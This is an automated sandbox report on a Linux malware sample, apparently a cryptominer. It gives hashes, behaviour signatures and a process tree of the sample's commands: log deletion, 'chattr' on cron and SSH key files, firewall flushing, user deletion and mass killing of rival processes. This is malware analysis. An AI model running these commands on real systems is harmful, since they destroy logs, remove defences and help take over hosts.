Analysis
-
max time kernel
119s -
max time network
145s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240418-en -
resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
17-07-2024 10:23
Static task
static1
Behavioral task
behavioral1
Sample
52940d065af4faae2c6f6a289040bb72_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
52940d065af4faae2c6f6a289040bb72_JaffaCakes118
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
52940d065af4faae2c6f6a289040bb72_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
52940d065af4faae2c6f6a289040bb72_JaffaCakes118
Resource
debian9-mipsel-20240418-en
General
-
Target
52940d065af4faae2c6f6a289040bb72_JaffaCakes118
-
Size
30KB
-
MD5
52940d065af4faae2c6f6a289040bb72
-
SHA1
005bafac97f4734cfc8c5d4f14e231df11f4d73a
-
SHA256
76021dd25cb21b31b81a43428ebd18640d0598c8afeefc502c7a2ab660de8df5
-
SHA512
ad31d4768c1bd18fe34548cc76a617abe480bbdc244abaa09049654d177984102496842a98ca94903a4db89a708519ddab7d1fc39e08e4979c33737be976de2d
-
SSDEEP
384:p7pQBDf6jlpTWg3vMGQiirhHwMyGj4CC9vEKMvU/4Qdre21jT58vKpG2Y0orcfKU:p78zQ5VFNcDAFLcIwgnoYq0xFBVdHtDn
Malware Config
Signatures
-
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 723 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 903 xargs 1189 xargs 1319 xargs 1640 xargs 1765 xargs 1827 xargs 1057 xargs 2091 Process not Found 1037 xargs 1567 xargs 1600 xargs 1821 xargs 2020 Process not Found 722 chattr 1070 xargs 1133 xargs 1249 xargs 1332 xargs 770 xargs 952 xargs 1312 xargs 1761 xargs 1795 xargs 1306 xargs 1733 xargs 1745 xargs 1813 xargs 1781 xargs 1835 xargs 878 xargs 914 xargs 1266 xargs 1452 xargs 1615 xargs 1825 xargs 1351 xargs 1478 xargs 1767 xargs 1829 xargs 2073 Process not Found 957 xargs 1244 xargs 1755 xargs 1815 xargs 2147 Process not Found 945 xargs 1112 xargs 1437 xargs 1783 xargs 1787 xargs 1801 xargs 1809 xargs 999 xargs 1789 xargs 1805 xargs 2079 Process not Found 2099 Process not Found 716 chattr 1590 xargs 1771 xargs 788 xargs 870 xargs 1031 xargs 1279 xargs -
Creates/modifies Cron job 1 TTPs 41 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.OQ4iHI Process not Found File opened for modification /var/spool/cron/crontabs/tmp.LfoxKP Process not Found File opened for modification /var/spool/cron/crontabs/tmp.LhxZFC Process not Found File opened for modification /var/spool/cron/crontabs/tmp.3XhpzX Process not Found File opened for modification /var/spool/cron/crontabs/tmp.CqgJZc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.OpdLSc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.i1IgUB Process not Found File opened for modification /var/spool/cron/crontabs/tmp.yRkfDe Process not Found File opened for modification /var/spool/cron/crontabs/tmp.UyiHwJ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.yuZohE Process not Found File opened for modification /var/spool/cron/crontabs/tmp.gPMHNc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.dBhiWT Process not Found File opened for modification /var/spool/cron/crontabs/tmp.cWc1Rg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.HyWYbs Process not Found File opened for modification /var/spool/cron/crontabs/tmp.7ZySe2 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.wjZRWV Process not Found File opened for modification /var/spool/cron/crontabs/tmp.8WIfei Process not Found File opened for modification /var/spool/cron/crontabs/tmp.VwFJmx Process not Found File opened for modification /var/spool/cron/crontabs/tmp.un1uy5 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QQjpxv Process not Found File opened for modification /var/spool/cron/crontabs/tmp.5xOId1 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.QUaMXr Process not Found File opened for modification /var/spool/cron/crontabs/tmp.2zTNpn Process not Found File opened for modification /var/spool/cron/crontabs/tmp.HWlsPc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.JQXklB Process not Found File opened for modification /var/spool/cron/crontabs/tmp.pqDfMa Process not Found File opened for modification /var/spool/cron/crontabs/tmp.pkXLna Process not Found File opened for modification /var/spool/cron/crontabs/tmp.gNkSgo Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Cx62Q0 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.UEEruh Process not Found File opened for modification /var/spool/cron/crontabs/tmp.WlJfTP Process not Found File opened for modification /var/spool/cron/crontabs/tmp.bcQ2zc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.mGHBVR Process not Found File opened for modification /var/spool/cron/crontabs/tmp.bQGAAL Process not Found File opened for modification /var/spool/cron/crontabs/tmp.StBzDS Process not Found File opened for modification /var/spool/cron/crontabs/tmp.JnKig6 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.xep9Fg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.FGalzk Process not Found File opened for modification /var/spool/cron/crontabs/tmp.NR3U5D Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ToE3hg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.tHLDD3 Process not Found -
Disables AppArmor 16 IoCs
Disables AppArmor security module.
pid Process 2173 Process not Found 2180 Process not Found 2165 Process not Found 2165 Process not Found 2165 Process not Found 2173 Process not Found 2173 Process not Found 2173 Process not Found 2165 Process not Found 2172 Process not Found 2176 Process not Found 2178 Process not Found 2173 Process not Found 2173 Process not Found 2165 Process not Found 2165 Process not Found -
Disables SELinux 1 IoCs
Disables SELinux security module.
pid Process 2164 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found -
Enumerates kernel/hardware configuration 1 TTPs 9 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/123/status Process not Found File opened for reading /proc/123/cmdline Process not Found File opened for reading /proc/708/cmdline ps File opened for reading /proc/69/status ps File opened for reading /proc/37/status ps File opened for reading /proc/11/stat ps File opened for reading /proc/23/status ps File opened for reading /proc/36/stat ps File opened for reading /proc/109/cmdline ps File opened for reading /proc/124/cmdline ps File opened for reading /proc/8/status pgrep File opened for reading /proc/1053/stat ps File opened for reading /proc/15/status ps File opened for reading /proc/701/stat ps File opened for reading /proc/702/stat ps File opened for reading /proc/uptime ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/706/cmdline ps File opened for reading /proc/757/status pkill File opened for reading /proc/17/cmdline ps File opened for reading /proc/17/status pgrep File opened for reading /proc/self/fd xargs File opened for reading /proc/24/cmdline Process not Found File opened for reading /proc/3/stat ps File opened for reading /proc/74/cmdline ps File opened for reading /proc/2/status ps File opened for reading /proc/22/cmdline Process not Found File opened for reading /proc/8/status ps File opened for reading /proc/82/status ps File opened for reading /proc/14/status ps File opened for reading /proc/154/cmdline Process not Found File opened for reading /proc/9/cmdline ps File opened for reading /proc/21/cmdline Process not Found File opened for reading /proc/245/cmdline ps File opened for reading /proc/82/stat ps File opened for reading /proc/681/cmdline ps File opened for reading /proc/109/status pkill File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/673/cmdline Process not Found File opened for reading /proc/2/stat ps File opened for reading /proc/13/stat ps File opened for reading /proc/421/stat ps File opened for reading /proc/22/status ps File opened for reading /proc/18/status pgrep File opened for reading /proc/16/status ps File opened for reading /proc/4/stat ps File opened for reading /proc/365/status ps File opened for reading /proc/81/stat ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/1641/stat ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/13/stat ps File opened for reading /proc/73/cmdline ps File opened for reading /proc/23/status Process not Found File opened for reading /proc/706/stat ps File opened for reading /proc/82/stat ps File opened for reading /proc/365/status Process not Found File opened for reading /proc/9/status ps File opened for reading /proc/15/status ps File opened for reading /proc/68/cmdline ps File opened for reading /proc/1573/stat ps File opened for reading /proc/11/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/78/cmdline ps -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot 52940d065af4faae2c6f6a289040bb72_JaffaCakes118
Processes
-
/tmp/52940d065af4faae2c6f6a289040bb72_JaffaCakes118/tmp/52940d065af4faae2c6f6a289040bb72_JaffaCakes1181⤵
- Writes file to tmp directory
PID:709 -
/bin/rmrm -rf /var/log/syslog2⤵PID:711
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:712
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Attempts to change immutable files
PID:716
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵PID:719
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵
- Attempts to change immutable files
PID:722
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:723
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:729
-
/usr/sbin/sendmailsendmail -t3⤵PID:738
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1sTzwz-0000Bu-EU4⤵PID:751
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:741
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1sTzx0-0000Bx-1U4⤵PID:755
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:744
-
-
-
/usr/sbin/userdeluserdel akay2⤵PID:745
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:747
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:749
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:750
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:752
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:754
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:758
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:759
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:760
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:764
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:763
-
-
/bin/grepgrep 185.71.65.2382⤵PID:767
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:768
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:770
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:774
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:773
-
-
/bin/grepgrep 140.82.52.872⤵PID:772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:775
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:781
-
-
/bin/grepgrep -v -2⤵PID:780
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:779
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:778
-
-
/bin/grepgrep :1432⤵PID:777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:788
-
-
/bin/grepgrep -v -2⤵PID:787
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:786
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:785
-
-
/bin/grepgrep :22222⤵PID:784
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:794
-
-
/bin/grepgrep -v -2⤵PID:793
-
-
/bin/grepgrep :33332⤵PID:790
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:791
-
-
/bin/grepgrep -v -2⤵PID:799
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:797
-
-
/bin/grepgrep :33892⤵PID:796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:800
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:798
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:806
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:804
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:803
-
-
/bin/grepgrep :44442⤵PID:802
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:810
-
-
/bin/grepgrep -v -2⤵PID:811
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:812
-
-
/bin/grepgrep :55552⤵PID:808
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:816
-
-
/bin/grepgrep -v -2⤵PID:817
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:818
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:815
-
-
/bin/grepgrep :66662⤵PID:814
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:822
-
-
/bin/grepgrep -v -2⤵PID:823
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:821
-
-
/bin/grepgrep :66652⤵PID:820
-
-
/bin/grepgrep -v -2⤵PID:829
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:828
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:827
-
-
/bin/grepgrep :66672⤵PID:826
-
-
/bin/grepgrep -v -2⤵PID:835
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:834
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:833
-
-
/bin/grepgrep :77772⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:836
-
-
/bin/grepgrep -v -2⤵PID:841
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:842
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:840
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:839
-
-
/bin/grepgrep :84442⤵PID:838
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:848
-
-
/bin/grepgrep -v -2⤵PID:847
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:846
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:845
-
-
/bin/grepgrep :33472⤵PID:844
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/bin/grepgrep :144442⤵PID:850
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/bin/grepgrep :144332⤵PID:856
-
-
/bin/grepgrep -v -2⤵PID:865
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:866
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:864
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:863
-
-
/bin/grepgrep :135312⤵PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:868
-
-
/bin/catcat /tmp/.X11-unix/012⤵PID:867
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:870
-
-
/bin/catcat /tmp/.X11-unix/112⤵PID:869
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:872
-
-
/bin/catcat /tmp/.X11-unix/222⤵PID:871
-
-
/bin/catcat /tmp/.pg_stat.02⤵PID:873
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:874
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:876
-
-
/bin/catcat /tmp/.pg_stat.12⤵PID:875
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:878
-
-
/bin/catcat /data/./oka.pid2⤵PID:877
-
-
/usr/bin/pkillpkill -f zsvc2⤵PID:879
-
-
/usr/bin/pkillpkill -f pdefenderd2⤵
- Reads runtime system information
PID:880
-
-
/usr/bin/pkillpkill -f updatecheckerd2⤵PID:881
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:886
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:885
-
-
/bin/grepgrep -v grep2⤵PID:884
-
-
/bin/grepgrep ./oka2⤵PID:883
-
-
/bin/psps aux2⤵PID:882
-
-
/bin/grepgrep -v grep2⤵PID:889
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:890
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:891
-
-
/bin/grepgrep "postgres: autovacum"2⤵PID:888
-
-
/bin/psps aux2⤵PID:887
-
-
/bin/grepgrep -v proxymap2⤵PID:898
-
-
/bin/grepgrep -v postgres2⤵PID:899
-
-
/bin/grepgrep -v "("2⤵PID:896
-
-
/bin/grepgrep -v php-fpm2⤵PID:897
-
-
/bin/grepgrep -v "\\["2⤵PID:895
-
-
/bin/grepgrep -v bin2⤵PID:894
-
-
/bin/grepgrep -v postgrey2⤵PID:900
-
-
/usr/bin/awkawk "length(\$1) == 8"2⤵PID:893
-
-
/bin/grepgrep -v kinsing2⤵PID:901
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads runtime system information
PID:892
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:902
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:903
-
-
/bin/grepgrep -v postgrey2⤵PID:912
-
-
/bin/grepgrep -v postgres2⤵PID:911
-
-
/bin/grepgrep -v proxymap2⤵PID:910
-
-
/bin/grepgrep -v "("2⤵PID:908
-
-
/bin/grepgrep -v php-fpm2⤵PID:909
-
-
/bin/grepgrep -v "\\["2⤵PID:907
-
-
/bin/grepgrep -v bin2⤵PID:906
-
-
/usr/bin/awkawk "length(\$1) == 16"2⤵PID:905
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:914
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads CPU attributes
PID:904
-
-
/bin/grepgrep -v "("2⤵PID:919
-
-
/bin/grepgrep -v "\\["2⤵PID:918
-
-
/bin/grepgrep -v bin2⤵PID:917
-
-
/usr/bin/awkawk "length(\$5) == 8"2⤵PID:916
-
-
/bin/grepgrep -v php-fpm2⤵PID:920
-
-
/bin/psps ax2⤵
- Reads runtime system information
PID:915
-
-
/bin/grepgrep -v proxymap2⤵PID:921
-
-
/bin/grepgrep -v postgres2⤵PID:922
-
-
/bin/grepgrep -v postgrey2⤵PID:923
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:924
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:925
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:930
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:929
-
-
/bin/grepgrep /tmp/sscks2⤵PID:928
-
-
/bin/grepgrep -v grep2⤵PID:927
-
-
/bin/psps aux2⤵PID:926
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:935
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:934
-
-
/bin/grepgrep -v grep2⤵PID:933
-
-
/bin/grepgrep "sleep 60"2⤵PID:932
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:931
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:939
-
-
/bin/grepgrep -v grep2⤵PID:938
-
-
/bin/grepgrep ./crun2⤵PID:937
-
-
/bin/psps aux2⤵PID:936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:945
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:944
-
-
/bin/grepgrep -v grep2⤵PID:943
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:942
-
-
/bin/psps aux2⤵PID:941
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:952
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:951
-
-
/bin/grepgrep :33332⤵PID:950
-
-
/bin/grepgrep -v grep2⤵PID:949
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:948
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:957
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:956
-
-
/bin/grepgrep :55552⤵PID:955
-
-
/bin/grepgrep -v grep2⤵PID:954
-
-
/bin/psps aux2⤵PID:953
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:963
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:962
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:961
-
-
/bin/grepgrep -v grep2⤵PID:960
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:959
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:969
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:968
-
-
/bin/grepgrep log_2⤵PID:967
-
-
/bin/grepgrep -v grep2⤵PID:966
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:975
-
-
/bin/grepgrep systemten2⤵PID:974
-
-
/bin/grepgrep -v grep2⤵PID:973
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:972
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:981
-
-
/bin/grepgrep netns2⤵PID:980
-
-
/bin/grepgrep -v grep2⤵PID:979
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:982
-
/usr/local/sbin/killkill -9 103⤵PID:988
-
-
/usr/local/bin/killkill -9 103⤵PID:988
-
-
/usr/sbin/killkill -9 103⤵PID:988
-
-
/usr/bin/killkill -9 103⤵PID:988
-
-
/sbin/killkill -9 103⤵PID:988
-
-
/bin/killkill -9 103⤵PID:988
-
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:978
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:993
-
-
/bin/grepgrep voltuned2⤵PID:992
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:994
-
-
/bin/grepgrep -v grep2⤵PID:991
-
-
/bin/psps aux2⤵PID:990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:999
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:998
-
-
/bin/grepgrep darwin2⤵PID:997
-
-
/bin/grepgrep -v grep2⤵PID:996
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:995
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1006
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1005
-
-
/bin/grepgrep /tmp/dl2⤵PID:1004
-
-
/bin/grepgrep -v grep2⤵PID:1003
-
-
/bin/psps aux2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1011
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1010
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1009
-
-
/bin/grepgrep -v grep2⤵PID:1008
-
-
/bin/psps aux2⤵PID:1007
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1018
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1017
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1016
-
-
/bin/grepgrep -v grep2⤵PID:1015
-
-
/bin/psps aux2⤵PID:1014
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1024
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1023
-
-
/bin/grepgrep -v grep2⤵PID:1022
-
-
/bin/psps aux2⤵PID:1021
-
-
/bin/psps aux2⤵PID:1027
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1029
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1031
-
-
/bin/grepgrep -v grep2⤵PID:1028
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1037
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1036
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1035
-
-
/bin/grepgrep -v grep2⤵PID:1034
-
-
/bin/psps aux2⤵PID:1033
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1044
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1043
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1042
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1040
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1050
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1049
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1048
-
-
